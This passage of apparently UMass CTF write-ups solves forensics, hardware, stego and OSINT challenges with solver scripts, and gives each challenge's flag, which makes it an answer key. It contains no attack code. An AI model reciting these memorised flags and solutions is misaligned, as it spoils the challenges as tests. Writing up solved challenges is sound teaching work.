from pathlib import Path
from binascii import unhexlify
import os, shutil

src = Path("mnt-root/home")
dst = Path("recovered-home")
if dst.exists():
    shutil.rmtree(dst)
dst.mkdir()

def maybe_dec_name(name: str) -> str:
    try:
        data = unhexlify(name)
    except Exception:
        return name
    out = bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
    if out and all(32 <= c < 127 and c not in (47, 92) for c in out):
        return out.decode("ascii")
    return name

def dec_bytes(data: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

for dirpath, dirnames, filenames in os.walk(src):
    rel = Path(dirpath).relative_to(src)
    outdir = dst
    for part in rel.parts:
        outdir = outdir / maybe_dec_name(part)
    outdir.mkdir(parents=True, exist_ok=True)
    for fn in filenames:
        srcf = Path(dirpath) / fn
        dstf = outdir / maybe_dec_name(fn)
        dstf.write_bytes(dec_bytes(srcf.read_bytes()))
```

The repo is still slightly broken because the `find` loop also created `red-herring` files inside `.git`, but the reflogs are readable directly:

```bash
sed -n '1,50p' recovered-home/.git/logs/refs/stash
```

Output:

```
0000000000000000000000000000000000000000 55a10e0874b6d37a8b9c2d70468d91f5b8c78cf5 git stash <git@stash> 1774732415 +0000	On master: You found me! UMASS{h3r35_7h3_c4rg0_vr00m}
```

Flag:

```
UMASS{h3r35_7h3_c4rg0_vr00m}
```

### Ninja-Nerds

#### Description

The attached `challenge.png` is a PNG with no useful metadata, no appended data, and no extra chunks. The intended path is simple pixel forensics, not reverse-image searching the Ninjago frame.

#### Solution

This challenge has a very high solve count because the flag is directly embedded in the image bits in a straightforward way.

The winning extraction is:

* channel: blue
* bit count: 1
* traversal: row-major (`xy`)
* byte packing: MSB-first

That means:

1. Read the image as RGB.
2. Take the least significant bit of every blue pixel.
3. Walk pixels left-to-right, top-to-bottom.
4. Pack every 8 bits into a byte, most-significant-bit first.
5. Search the resulting byte stream for `UMASS{`.

Code:

```python
from PIL import Image
import numpy as np
import re

img = np.array(Image.open("attachments/extracted/challenge.png").convert("RGB"))

bits = (img[:, :, 2] & 1).reshape(-1)  # blue-channel LSBs

data = bytearray()
for i in range(0, len(bits) - 7, 8):
    byte = 0
    for bit in bits[i:i+8]:
        byte = (byte << 1) | int(bit)
    data.append(byte)

m = re.search(rb"UMASS\{[^}]+\}", bytes(data))
print(m.group(0).decode())
```

Output:

```
UMASS{perfectly-hidden-ready-to-strike}
```

Flag: `UMASS{perfectly-hidden-ready-to-strike}`

### Doomed Demo

#### Description

The provided `demo.lmp` does not replay directly, but `WALKTHROUGH.txt` gives the intended route on Freedoom 0.13.0 `MAP03: Crude Processing Center`. The goal is to recover the player's final Doom fixed-point `x` and `y` coordinates, convert both to hexadecimal, and concatenate them as `UMASS{...}`.

#### Solution

The file has two layers of damage:

1. The demo header is broken. The playable ticcmd stream starts after 14 junk bytes.
2. Several weapon-select button bytes inside the tic stream are corrupted.

Rebuilding a normal vanilla header over `demo.lmp[14:]` gives a partially working replay. Replaying that against an instrumented Chocolate Doom build and comparing the logged events against `WALKTHROUGH.txt` shows four bad weapon-change regions:

* `864-865`: should select pistol (`12`), not `4`
* `1705-1707`: should select chaingun (`28`)
* `2617-2618`: should select shotgun (`20`)
* `3936-3937`: should select shotgun (`20`)

After applying those fixes, the recovered demo follows the walkthrough all the way to the final exit-lift button. The stable end position is:

* `raw_x = 240777950` -> `E59FADE`
* `raw_y = -22218853` -> `FEACF79B` as 32-bit two's complement hex

So the flag is:

```
UMASS{E59FADEFEACF79B}
```

Patch script:

```python
from pathlib import Path

data = Path("demo.lmp").read_bytes()

# Rebuild a normal vanilla Doom demo header over the intact ticcmd stream.
stream = bytearray(data[14:])
header = bytes([
    109,  # demo version
    1,    # skill: HNTR
    1,    # episode byte (unused in Doom II, still present in header)
    3,    # MAP03
    0,    # deathmatch
    0,    # respawn
    0,    # fast
    0,    # nomonsters
    0,    # consoleplayer
    1, 0, 0, 0,  # player-in-game bytes
])

fixed = bytearray(header + stream)

def patch_button(tic: int, value: int) -> None:
    fixed[13 + tic * 4 + 3] = value

for tic in (864, 865):
    patch_button(tic, 12)   # pistol

for tic in (1705, 1706, 1707):
    patch_button(tic, 28)   # chaingun

for tic in (2617, 2618):
    patch_button(tic, 20)   # shotgun

for tic in (3936, 3937):
    patch_button(tic, 20)   # shotgun

Path("recovered-demo.lmp").write_bytes(fixed)
```

Example replay command with the locally instrumented Chocolate Doom build:

```bash
docker run --rm \
  -v "$PWD:/work" \
  -w /work \
  -e SDL_VIDEODRIVER=dummy \
  -e SDL_AUDIODRIVER=dummy \
  -e XDG_DATA_HOME=/tmp \
  choco-patched:latest \
  ./probe-build/src/chocolate-doom \
  -iwad freedoom-0.13.0/freedoom2.wad \
  -timedemo recovered-demo.lmp \
  -window
```

That replay ends with:

```
FINAL_POS map=3 raw_x=240777950 raw_y=-22218853 hex_x=E59FADE hex_y=FEACF79B
```

***

## hardware

### Brick by Brick

#### Description

We are given a CSV capture of a digital signal intercepted from a "custom LEGO controller" and need to recover the hidden message.

#### Solution

The CSV is not event-based; it is a uniformly sampled logic trace.

The key observation is that the signal has a 15-sample structure. When chunking the bitstream into 15-bit blocks and trying all 15 alignments, every block contains the constant pattern `01111110` at a fixed position for a given alignment. At offset `13`, each block becomes:

```
01111110xxxxxxx
```

So the capture can be interpreted as repeated 15-bit symbols made of a fixed `0x7e` marker plus 7 payload bits.

The next important step is that those 7 payload bits are transmitted bit-reversed. Reversing each 7-bit payload and interpreting it as ASCII produces a clean Linux boot log. Near the end of the decoded text is:

```
secretflag: 554d4153537b553452375f31355f3768335f623335372c5f72316768373f7d
```

That value is hex, which decodes to:

```
UMASS{U4R7_15_7h3_b357,_r1gh7?}
```

Solution script:

```python
import csv

with open("attachments/unpacked/code.csv") as f:
    rows = list(csv.DictReader(f))

bits = "".join(row["logic_level"] for row in rows)

# Alignment found by checking all offsets and noticing that offset 13 gives:
#   01111110xxxxxxx
offset = 13

payload = []
for i in range(offset, len(bits) - 14, 15):
    chunk = bits[i:i + 15]
    seven = chunk[8:]                 # keep the variable 7 bits
    value = int(seven[::-1], 2)       # reverse bit order
    payload.append(value)

decoded = "".join(chr(x) for x in payload)
print(decoded)

marker = "secretflag: "
idx = decoded.index(marker) + len(marker)
hex_flag = decoded[idx:idx + 68]
print(bytes.fromhex(hex_flag).decode())
```

Flag:

```
UMASS{U4R7_15_7h3_b357,_r1gh7?}
```

### Smart Brick v2

#### Description

The attachment is a single KiCad PCB file. There is no firmware or schematic, just a board full of `74LSxx` logic, a 7-pin input header, power, and 19 LEDs driven by MOSFETs.

The useful observation is that the board is purely combinational:

* `J1` exposes 7 data inputs, `IN0..IN6`
* `J2` is `+5V/GND`
* each LED is controlled by a logic net through a `2N7002`

So the job is to recover the boolean network from the PCB, simulate all `2^7 = 128` possible inputs, and see which LEDs turn on for which inputs.

#### Solution

I parsed the PCB file directly, extracted every gate chip's pad-to-net mapping, and simulated the logic network. The resulting truth table is extremely sparse: only a small set of input values ever light LEDs.

That makes the intended behavior clear: each 7-bit input value represents a character, and the lit LEDs mark the positions where that character appears in the secret string.

One subtlety is bit order. The input header is wired so that the natural character value is the reversed bit string `IN6..IN0`, not `IN0..IN6`. After reversing the 7-bit inputs, the active characters become:

* `U, M, A, S, S, {, I, n, _, T, h, 3, _, G, 4, t, 3, s, }`

Reading the LEDs from `D1` through `D19` gives:

`UMASS{In_Th3_G4t3s}`

Solver code:

```python
#!/usr/bin/env python3
from __future__ import annotations

import itertools
import re
from pathlib import Path


PCB_PATH = Path("attachments/smart-brick-v2/smart-brick-v2.kicad_pcb")


GATE_MAPS = {
    "74LS00": [("NAND", [1, 2], 3), ("NAND", [4, 5], 6), ("NAND", [9, 10], 8), ("NAND", [12, 13], 11)],
    "74LS02": [("NOR", [2, 3], 1), ("NOR", [5, 6], 4), ("NOR", [8, 9], 10), ("NOR", [11, 12], 13)],
    "74LS04": [("NOT", [1], 2), ("NOT", [3], 4), ("NOT", [5], 6), ("NOT", [9], 8), ("NOT", [11], 10), ("NOT", [13], 12)],
    "74LS08": [("AND", [1, 2], 3), ("AND", [4, 5], 6), ("AND", [9, 10], 8), ("AND", [12, 13], 11)],
    "74LS20": [("NAND", [1, 2, 4, 5], 6), ("NAND", [9, 10, 12, 13], 8)],
    "74LS21": [("AND", [1, 2, 4, 5], 6), ("AND", [9, 10, 12, 13], 8)],
    "74LS27": [("NOR", [1, 2, 13], 12), ("NOR", [3, 4, 5], 6), ("NOR", [9, 10, 11], 8)],
    "74LS32": [("OR", [1, 2], 3), ("OR", [4, 5], 6), ("OR", [9, 10], 8), ("OR", [12, 13], 11)],
    "74LS86": [("XOR", [1, 2], 3), ("XOR", [4, 5], 6), ("XOR", [9, 10], 8), ("XOR", [12, 13], 11)],
}


def parse_footprints(text: str) -> list[list[str]]:
    blocks = []
    cur = None
    for line in text.splitlines():
        if line.startswith("\t(footprint "):
            cur = [line]
            continue
        if cur is not None:
            cur.append(line)
            if line == "\t)":
                blocks.append(cur)
                cur = None
    return blocks


def parse_footprint(block: list[str]) -> dict | None:
    ref = None
    value = None
    at = None
    pads = {}

    i = 0
    while i < len(block):
        line = block[i]
        m = re.search(r'\(property "Reference" "([^"]+)"', line)
        if m:
            ref = m.group(1)
        m = re.search(r'\(property "Value" "([^"]+)"', line)
        if m:
            value = m.group(1)
        if at is None:
            m = re.search(r'^\t\t\(at ([0-9.]+) ([0-9.]+)(?: [0-9.]+)?\)', line)
            if m:
                at = (float(m.group(1)), float(m.group(2)))
        m = re.search(r'^\t\t\(pad "([^"]+)" ', line)
        if m:
            pad_num = m.group(1)
            pad_lines = [line]
            i += 1
            while i < len(block):
                pad_lines.append(block[i])
                if block[i] == "\t\t)":
                    break
                i += 1
            pad_text = "\n".join(pad_lines)
            net_match = re.search(r'\(net \d+ "([^"]+)"\)', pad_text)
            if net_match:
                pads[pad_num] = net_match.group(1)
        i += 1

    if ref is None:
        return None
    return {"ref": ref, "value": value, "at": at, "pads": pads}


def eval_gate(kind: str, values: list[int]) -> int:
    if kind == "NOT":
        return 0 if values[0] else 1
    if kind == "AND":
        return int(all(values))
    if kind == "NAND":
        return int(not all(values))
    if kind == "OR":
        return int(any(values))
    if kind == "NOR":
        return int(not any(values))
    if kind == "XOR":
        out = 0
        for v in values:
            out ^= v
        return out
    raise ValueError(kind)


def main() -> None:
    text = PCB_PATH.read_text()
    footprints = [fp for fp in (parse_footprint(b) for b in parse_footprints(text)) if fp]
    by_ref = {fp["ref"]: fp for fp in footprints}

    gates = []
    for fp in footprints:
        value = fp["value"]
        if value not in GATE_MAPS:
            continue
        for kind, ins, out in GATE_MAPS[value]:
            out_net = fp["pads"].get(str(out))
            if not out_net or out_net.startswith("unconnected-"):
                continue
            in_nets = [fp["pads"][str(pin)] for pin in ins]
            gates.append((out_net, kind, in_nets, fp["ref"], value))

    led_gate_nets = {}
    for n in range(1, 20):
        q = by_ref[f"Q{n}"]
        led_gate_nets[f"D{n}"] = q["pads"]["1"]

    order = [f"/IN{i}" for i in range(7)]
    rows = []
    for bits in itertools.product([0, 1], repeat=7):
        nets = {name: bit for name, bit in zip(order, bits)}
        nets["+5V"] = 1
        nets["GND"] = 0

        for _ in range(200):
            changed = False
            for out_net, kind, in_nets, _, _ in gates:
                if all(net in nets for net in in_nets):
                    val = eval_gate(kind, [nets[net] for net in in_nets])
                    if nets.get(out_net) != val:
                        nets[out_net] = val
                        changed = True
            if not changed:
                break
        else:
            raise RuntimeError("gate evaluation did not converge")

        leds = "".join(str(nets[led_gate_nets[f"D{i}"]]) for i in range(1, 20))
        rows.append(("".join(str(b) for b in bits), leds, nets))

    position_chars = ["?"] * 19
    for bits, _, nets in rows:
        positions = [i for i in range(1, 20) if nets[led_gate_nets[f"D{i}"]]]
        if not positions:
            continue
        ch = chr(int(bits[::-1], 2))
        for pos in positions:
            position_chars[pos - 1] = ch

    print("".join(position_chars))


if __name__ == "__main__":
    main()
```

Running it prints:

```
UMASS{In_Th3_G4t3s}
```

***

## miscellaneous

### Deep Down

#### Description

There's something in the water...

#### Solution

`deep-down.zip` contains a single file, `CHALL.gif`.

Initial checks showed:

* no appended payload
* no useful metadata/comments
* 12 GIF frames
* a very small file size, which suggested palette/index abuse rather than a large hidden blob

The key detail is the GIF global palette. It contains duplicate-looking entries:

* index `1` and index `3` are both `(11, 41, 71)`
* index `4` and index `6` are both near-identical yellow values

When the GIF is rendered normally, those duplicate palette entries collapse to the same visible colors, so the hidden information does not show up. The solve is to parse the raw GIF image data, LZW-decode the first frame, and distinguish palette index `1` from palette index `3`.

Doing that reveals hidden text embedded in the seabed region. Reading the extracted text gives the flag:

`UMASS{1N_A_G1774}`

Solve script:

```python
from pathlib import Path
from PIL import Image


def parse_gif(path: str):
    data = Path(path).read_bytes()
    pos = 6 + 7

    packed = data[10]
    gct_size = 2 ** ((packed & 0b111) + 1) if ((packed >> 7) & 1) else 0
    pos += 3 * gct_size

    def lzw_decode(min_code_size: int, compressed: bytes) -> bytes:
        clear = 1 << min_code_size
        end = clear + 1
        code_size = min_code_size + 1
        next_code = end + 1

        table = {i: bytes([i]) for i in range(clear)}
        bits = 0
        cur = 0
        idx = 0
        prev = None
        out = bytearray()

        while True:
            while bits < code_size:
                if idx >= len(compressed):
                    return bytes(out)
                cur |= compressed[idx] << bits
                bits += 8
                idx += 1

            code = cur & ((1 << code_size) - 1)
            cur >>= code_size
            bits -= code_size

            if code == clear:
                table = {i: bytes([i]) for i in range(clear)}
                code_size = min_code_size + 1
                next_code = end + 1
                prev = None
                continue

            if code == end:
                break

            if code in table:
                entry = table[code]
            elif code == next_code and prev is not None:
                entry = prev + prev[:1]
            else:
                raise ValueError("bad LZW stream")

            out.extend(entry)

            if prev is not None:
                table[next_code] = prev + entry[:1]
                next_code += 1
                if next_code == (1 << code_size) and code_size < 12:
                    code_size += 1

            prev = entry

        return bytes(out)

    frames = []

    while pos < len(data):
        block = data[pos]
        pos += 1

        if block == 0x21:
            label = data[pos]
            pos += 1

            if label == 0xF9:
                pos += 1 + data[pos] + 1
            else:
                while True:
                    sz = data[pos]
                    pos += 1
                    if sz == 0:
                        break
                    pos += sz

        elif block == 0x2C:
            width = int.from_bytes(data[pos + 4:pos + 6], "little")
            height = int.from_bytes(data[pos + 6:pos + 8], "little")
            packed = data[pos + 8]
            pos += 9

            if packed >> 7:
                pos += 3 * (2 ** ((packed & 7) + 1))

            min_code_size = data[pos]
            pos += 1

            chunks = []
            while True:
                sz = data[pos]
                pos += 1
                if sz == 0:
                    break
                chunks.append(data[pos:pos + sz])
                pos += sz

            pixels = lzw_decode(min_code_size, b"".join(chunks))
            frames.append((width, height, pixels))

        elif block == 0x3B:
            break

    return frames


w, h, pixels = parse_gif("work/CHALL.gif")[0]

# Visualize only palette index 1; index 3 is treated as background.
# This exposes the hidden text in the lower part of the frame.
img = Image.new("L", (w, h), 255)
for y in range(h):
    for x in range(w):
        img.putpixel((x, y), 0 if pixels[y * w + x] == 1 else 255)

img = img.crop((0, 50, w, h))
img = img.resize((img.width * 12, img.height * 12), Image.Resampling.NEAREST)
img.save("extracted.png")
print("saved extracted.png")
```

Running the script produces an image where the hidden text is readable, yielding:

`UMASS{1N_A_G1774}`

### Take a Slice

#### Description

We are given `take-a-slice.zip`, which contains a single file named `cake`.

The challenge hint is "It's in the name!", so the first step is to identify what `cake` actually is.

`cake` is a binary STL:

* The first 80 bytes are the STL header.
* Bytes `80:84` are the triangle count.
* The total file size matches `84 + 50 * triangle_count`.

That means the attachment is a 3D mesh, and "Take a Slice" strongly suggests slicing the model.

#### Solution

The STL contains one large connected component for the cake mesh, plus many small connected components hidden inside it.

Those small components are all coplanar, so projecting them into their natural 2D plane reveals text. Reading the projected shapes left-to-right gives:

`UMASS{SL1C3_&_D1C3}`

Exact solver:

```python
import trimesh
import numpy as np

m = trimesh.load("work/cake", file_type="stl")

# Split the mesh into connected components.
comps = sorted(m.split(only_watertight=False), key=lambda x: -len(x.faces))

# Largest component is the cake itself; the rest are the hidden glyphs.
hidden = comps[1:]

# Find the natural plane of the hidden components using PCA.
verts = np.vstack([c.vertices for c in hidden])
center = verts.mean(axis=0)
_, _, vh = np.linalg.svd(verts - center, full_matrices=False)

# The hidden glyphs lie in the PCA (axis 0, axis 2) plane.
order = []
for i, c in enumerate(hidden, 1):
    proj = (c.vertices - center) @ vh.T
    order.append((proj[:, 0].mean(), i, proj[:, [0, 2]]))
order.sort()

print("left-to-right component order:", [i for _, i, _ in order])
```

To make the letters readable, I projected each hidden component's edges into that plane:

```python
import trimesh
import numpy as np
import matplotlib.pyplot as plt

m = trimesh.load("work/cake", file_type="stl")
comps = sorted(m.split(only_watertight=False), key=lambda x: -len(x.faces))
hidden = comps[1:]

verts = np.vstack([c.vertices for c in hidden])
center = verts.mean(axis=0)
_, _, vh = np.linalg.svd(verts - center, full_matrices=False)

fig, ax = plt.subplots(figsize=(14, 4))

for c in hidden:
    proj = (c.vertices - center) @ vh.T
    uv = proj[:, [0, 2]]
    for e in c.edges_unique:
        pts = uv[e]
        ax.plot(pts[:, 0], pts[:, 1], "k-", lw=1)

ax.set_aspect("equal", adjustable="box")
plt.show()
```

From the projected glyphs:

* `U M A S S {`
* `S L 1 C 3`
* `_`
* `&`
* `_`
* `D 1 C 3`
* `}`

So the flag is:

```
UMASS{SL1C3_&_D1C3}
```

### knex

#### Description

`lush.png` is a deliberately broken PNG. Between normal `IDAT` chunks it contains many invalid `l0l4` chunks. Concatenating those invalid chunk bodies gives a valid JPEG, and removing them gives a valid clean PNG.

The JPEG also contains a `steghide` payload (`teeny.mp3`) with the empty passphrase:

```bash
steghide extract -sf attachments/extracted.jpg -p ''
```

The important hint was `alpha = 0.45`: the clean PNG has a BPCS payload in CGC space at threshold `0.45`.

#### Solution

The normal `mobeets`-style decode was a trap because the payload was not using the usual trailing conjugation-map blocks. The useful observations were:

* Extracting complex `8x8` CGC blocks from `lush_clean.png` at `alpha = 0.45` gives `5670` blocks.
* Those blocks form a `70 x 81` grid.
* In the raw extracted grid, row `8` is the repeated template row, and row `7` differs from it only at columns `0..6`.
* That means only the first `70*7 + 7 = 497` raw blocks are real payload.
* The bespoke conjugation rule is: the **top-left bit** of each payload block is the conjugation marker. If it is set, XOR the whole `8x8` block with the normal checkerboard `AA 55 AA 55 AA 55 AA 55`.
* After that, the recovered bytes are printable **Base91**. Base91-decoding them yields the flag repeated many times.

Self-contained solver:

```python
from pathlib import Path
from PIL import Image
import numpy as np
import re

PNG_SIG = b'\x89PNG\r\n\x1a\n'
ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,./:;<=>?@[]^_`{|}~"'
DEC = {c: i for i, c in enumerate(ALPHABET)}
PAT = bytes([0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55])


def base91_decode(s: str) -> bytes:
    v = -1
    b = 0
    n = 0
    out = bytearray()
    for ch in s:
        if ch not in DEC:
            continue
        c = DEC[ch]
        if v < 0:
            v = c
            continue
        v += c * 91
        b |= v << n
        n += 13 if (v & 8191) > 88 else 14
        while n > 7:
            out.append(b & 0xFF)
            b >>= 8
            n -= 8
        v = -1
    if v >= 0:
        out.append((b | (v << n)) & 0xFF)
    return bytes(out)


def complexity(block: np.ndarray) -> float:
    h = np.sum(block[:, :-1] != block[:, 1:])
    v = np.sum(block[:-1, :] != block[1:, :])
    return (h + v) / 112.0


# 1) Split lush.png into a clean PNG and the spliced JPEG.
raw_png = Path("attachments/lush.png").read_bytes()
assert raw_png.startswith(PNG_SIG)
pos = 8
clean = bytearray(PNG_SIG)
spliced = bytearray()
while pos < len(raw_png):
    length = int.from_bytes(raw_png[pos:pos + 4], "big")
    ctype = raw_png[pos + 4:pos + 8]
    if ctype == b"l0l4":
        spliced += raw_png[pos + 8:pos + 8 + length]
    else:
        clean += raw_png[pos:pos + 12 + length]
    pos += 12 + length
    if ctype == b"IEND":
        break

Path("writeup_lush_clean.png").write_bytes(clean)
Path("writeup_extracted.jpg").write_bytes(spliced)


# 2) Extract raw BPCS blocks from the clean PNG in CGC space at alpha=0.45.
img = np.array(Image.open("writeup_lush_clean.png"))
img = img[: img.shape[0] // 8 * 8, : img.shape[1] // 8 * 8, :3]
img_cgc = img ^ (img >> 1)

blocks = []
for ch in range(3):
    for bit in range(7, -1, -1):
        plane = ((img_cgc[:, :, ch] >> bit) & 1).astype(np.uint8)
        for y in range(0, plane.shape[0], 8):
            for x in range(0, plane.shape[1], 8):
                block = plane[y:y + 8, x:x + 8]
                if complexity(block) >= 0.45:
                    row_bytes = bytes(int("".join(str(v) for v in row), 2) for row in block)
                    blocks.append(row_bytes)

assert len(blocks) == 5670


# 3) Find the real payload boundary from the repeated raw template rows.
rows = [blocks[i:i + 70] for i in range(0, len(blocks), 70)]
template = rows[8]
assert all(row == template for row in rows[8:])
assert [i for i, (a, b) in enumerate(zip(rows[7], template)) if a != b] == list(range(7))
used = 70 * 7 + 7  # 497 payload blocks


# 4) Bespoke conjugation: top-left bit is the conjugation flag.
b91_text = bytearray()
for block in blocks[:used]:
    if block[0] & 0x80:
        block = bytes(a ^ b for a, b in zip(block, PAT))
    b91_text += block
b91_text = b91_text.decode("ascii")


# 5) Base91 decode and print the first clean flag.
payload = base91_decode(b91_text)
flag = re.search(rb"UMASS\{[^}]+\}", payload).group().decode()
print(flag)
```

Output:

```
UMASS{0N3_D4Y_Y0U_W1LL_83_3MPL0Y3D}
```

## Blink of an Eye - Writeup

**Category:** Miscellaneous\
**Points:** 500\
**Flag:** `UMASS{i_d1d_7h3_l3g0_c0py_p4573_m4nu4lly}`

### Challenge

> This Ohio '67 director once watched over a hero-creating hopecore machine. One of his actors (a wine expert) was the subject of a legal dispute between a Cannon and a giant Dane. My secrets are on page 138.

An attached `nums.txt` contains 41 integers:

```
pieces = [6196548,379526,6175367,300426,300426,362326,6092585,6234695,
4644456,302001,4644456,6234695,395701,6306064,4243812,6234695,
4618852,4243812,302126,6104805,6234695,452926,6104805,6325254,
4515368,6234695,6325254,6051511,6280386,395701,4243812,6234695,
302326,6051511,4107761,6133722,6051511,4618852,4618852,4515368,6256051]
```

### Solution

#### Step 1: Decode the riddle

* **Ohio '67 director** = David Collins (born 1967 in Ohio), creator/director of *Queer Eye*.
* **Hero-creating hopecore machine** = *Queer Eye* (the TV show that transforms people's lives).
* **One of his actors (a wine expert)** = Antoni Porowski, the food & wine expert from Queer Eye.
* **Legal dispute between a Cannon and a giant Dane** = Points to LEGO (a giant Danish company). The legal dispute context connects Antoni Porowski / Queer Eye to LEGO.
* **My secrets are on page 138** = Page 138 of the LEGO instruction manual.

The connection: LEGO set **10291** is the *Queer Eye - The Fab 5 Loft* set. Its instruction manual PDF is freely available from [LEGO's website](https://www.lego.com/cdn/product-assets/product.bi.core.pdf/6372662.pdf).

#### Step 2: Identify the numbers as LEGO element IDs

The 41 integers in `nums.txt` are **LEGO element IDs**. Each element ID uniquely identifies a specific LEGO part in a specific color. All 24 unique element IDs from the list appear on **page 138** of the LEGO 10291 instruction manual, which is the set's parts inventory page.

#### Step 3: The encoding - column-major grid position = ASCII

Page 138 of the manual is a parts inventory page showing 164 valid LEGO elements arranged in a visual grid with 13 columns.

The key insight (hinted by the title "Blink of an Eye" - look carefully at the page layout):

1. Extract all element IDs from page 138 with their (x, y) positions using a PDF parser (e.g., PyMuPDF).
2. Filter out invalid element IDs (e.g., `62690` which is a PDF text extraction artifact).
3. Sort the elements in **column-major order**: first by column (x-coordinate), then by row (y-coordinate) within each column.
4. The **0-indexed position** of each element in this ordering directly gives the **ASCII character code**.

For example:

* Element `6175367` is at position 65 in column-major order → ASCII 65 = `A`
* Element `300426` is at position 83 → ASCII 83 = `S`
* Element `6196548` is at position 85 → ASCII 85 = `U`
* Element `362326` is at position 123 → ASCII 123 = `{`

#### Step 4: Decode the flag

Reading the 41 element IDs through the column-major position lookup:

```
6196548(U) 379526(M) 6175367(A) 300426(S) 300426(S) 362326({)
6092585(i) 6234695(_) 4644456(d) 302001(1) 4644456(d) 6234695(_)
395701(7) 6306064(h) 4243812(3) 6234695(_) 4618852(l) 4243812(3)
302126(g) 6104805(0) 6234695(_) 452926(c) 6104805(0) 6325254(p)
4515368(y) 6234695(_) 6325254(p) 6051511(4) 6280386(5) 395701(7)
4243812(3) 6234695(_) 302326(m) 6051511(4) 4107761(n) 6133722(u)
6051511(4) 4618852(l) 4618852(l) 4515368(y) 6256051(})
```

**Flag:** `UMASS{i_d1d_7h3_l3g0_c0py_p4573_m4nu4lly}`

In leetspeak: **"I did the lego copy paste manually"**

***

## osint

### Funny Business

#### Description

We are given a street photo and asked for the contact email address of a store. The clue says the store sells "special bricks", its office is above a well-known shopping centre on the pictured street, and it will "bring me joy".

#### Solution

The useful path was:

1. Geolocate the image. The building facade/logo in the photo matches `Ho King Shopping Centre` in Mong Kok, Hong Kong, not the earlier Windsor House / Causeway Bay branch.
2. Use the clue wording. `bring me joy` points to `Joy Bricks`, and `special bricks` fits a non-LEGO brick seller.
3. Verify on the official site. The official site is `https://joooooy.com/`. Its homepage title explicitly says it sells alternative brick brands, and the contact page gives the email and office address above Ho King Commercial Centre.

Verification:

```bash
curl -sL https://joooooy.com/ | grep -oP '(?<=<title>).*?(?=</title>)'
```

Output shows:

```
LEPIN KING XINGBAO MOULDKING DECOOL SY SEMBO bricks building blocks – Joy Bricks
```

Then fetch the contact page:

```bash
curl -sL 'https://joooooy.com/pages/contact-us' | \
grep -oP 'joyingwang@gmail\.com|FLAT 2304, 23/F, HO KING, COMMERCIAL CENTRE, 2-16 FA YUEN STREET, MONG KOK ,KOWLOON, HONG KONG'
```

That confirms:

```
joyingwang@gmail.com
FLAT 2304, 23/F, HO KING, COMMERCIAL CENTRE, 2-16 FA YUEN STREET, MONG KOK ,KOWLOON, HONG KONG
```

So the flag is:

```
UMASS{joyingwang@gmail.com}
```

### Son of a Sith...

#### Description

We are given a single attachment, `son-of-a-sith....zip`, containing a PNG screenshot. The flag format is:

`UMASS{What_The_Red_Brick_Does}`

The screenshot shows a LEGO Star Wars red brick in a sandy canyon/cave area.

#### Solution

First inspect the provided files:

```bash
rg --files .
sed -n '1,220p' description.md
unzip -l attachments/son-of-a-sith....zip
unzip -o attachments/son-of-a-sith....zip -d attachments
file attachments/Screenshot_20260403_191312.png
exiftool attachments/Screenshot_20260403_191312.png
```

The ZIP contains one image: `Screenshot_20260403_191312.png`.

Viewing the screenshot shows:

* A LEGO Star Wars red brick
* A sandy Tatooine-like canyon
* A cave entrance in the rock wall
* Two gray rails/tracks leading into the cave

That combination is the key. In LEGO Star Wars, the `Through the Jundland Wastes` / `Jundland Wastes` red brick is reached by:

1. Entering the hidden side area near the beginning of the level
2. Hovering across as `R2`
3. Pushing a wagon/cart
4. Following the tracks to the cave where the red brick is

This matches the screenshot exactly because the visible gray lines are the cart tracks leading into the cave.

After identifying the level as `Through the Jundland Wastes`, the red brick reward can be mapped from LEGO Star Wars guides/wiki references:

* In `LEGO Star Wars II: The Original Trilogy`, that power brick unlocks `Fast Force`
* In `LEGO Star Wars: The Complete Saga`, `Through the Jundland Wastes` also maps to `Fast Force`

So the flag is:

```
UMASS{Fast_Force}
```

### High Performance

#### Description

We are given a ZIP containing a single image and asked to identify a nearby computer shop that sells a computer not intended for Windows, macOS, or Linux, then recover the processor used in that shop's flagship PCIe-capable system.

#### Solution

First, inspect the provided files:

```bash
unzip -l attachments/high-performance.zip
unzip -o attachments/high-performance.zip -d .
exiftool high-performance.png
```

The PNG metadata contains an embedded comment:

```
Comment : https://youtu.be/8OzZxjqKG10
```

That YouTube link is a dead end meme video and does not help with the OSINT path.

Next, inspect the image itself. The scene shows:

* European residential architecture
* yellow license plates
* French-style signage
* an industrial-looking background

Those clues point strongly to Luxembourg, especially the industrial southwest around Differdange / Esch-sur-Alzette.

The key location lead is `Rue Émile Mark` in Differdange, Luxembourg. AAA Technology has a physical shop there. A confirming public article states:

* AAA Technology was created in Luxembourg
* their physical shop is at `76, Rue Émile Mark – L-4620 Differdange`

Useful lookup:

```bash
python - <<'PY'
print("AAA Technology shop: 76 Rue Émile Mark, L-4620 Differdange, Luxembourg")
PY
```

Public corroboration used during solving:

* Amiga Impact article about AAA Technology opening in Luxembourg
* indexed shop snippets for `amigakit.fr`, which is the AAA Technology storefront

The shop sells Amiga hardware, which satisfies the challenge text about a computer not designed for Windows, macOS, or Linux.

The important part was identifying the correct current flagship PCIe-capable system from the storefront. Search engine indexed snippets for the live catalog showed:

* `A1222+ SYSTEM` listed as a complete system
* it was the top-priced complete system among the indexed non-mainstream computers on the storefront
* the matching `A1222+ Motherboard` specification page explicitly says it is based on:

```
NXP QorIQ P1022
```

and also explicitly mentions PCIe support.

Representative queries/commands used:

```bash
yt-dlp --dump-single-json --skip-download 'https://youtu.be/8OzZxjqKG10'
```

Searches performed:

```
AAA Technology Luxembourg Rue Emile Mark
site:amigakit.fr AAA Technology sarl A1222+ SYSTEM
site:amigakit.fr "QorIQ P1022"
```

Final flag:

```
UMASS{NXP QorIQ P1022}
```

### We Have 图寻 at Home

#### Description

The image clue was a streetview-style panorama of an office-park road. The challenge text said the lost chip was:

* serial NOR flash
* `1024 KB` capacity
* `108Mhz`
* used in a children's toy

The flag format was `UMASS{name of chip on website}`.

#### Solution

I started by translating the chip requirement into a product filter:

* `1024 KB` means `8Mbit`
* `108MHz`
* SPI / serial NOR flash

That leaves a relatively small set of China-market flash parts. I first checked several Shenzhen-heavy candidates such as HGSEMI, BOYA, XTX, and TD, and also spent time trying to pin the exact office park from the panorama. That geography work produced several plausible Shenzhen corridors, but none of the obvious first-pass flags landed.

The solve came from going back to the product side and looking for an exact official website match rather than forcing the map clue.

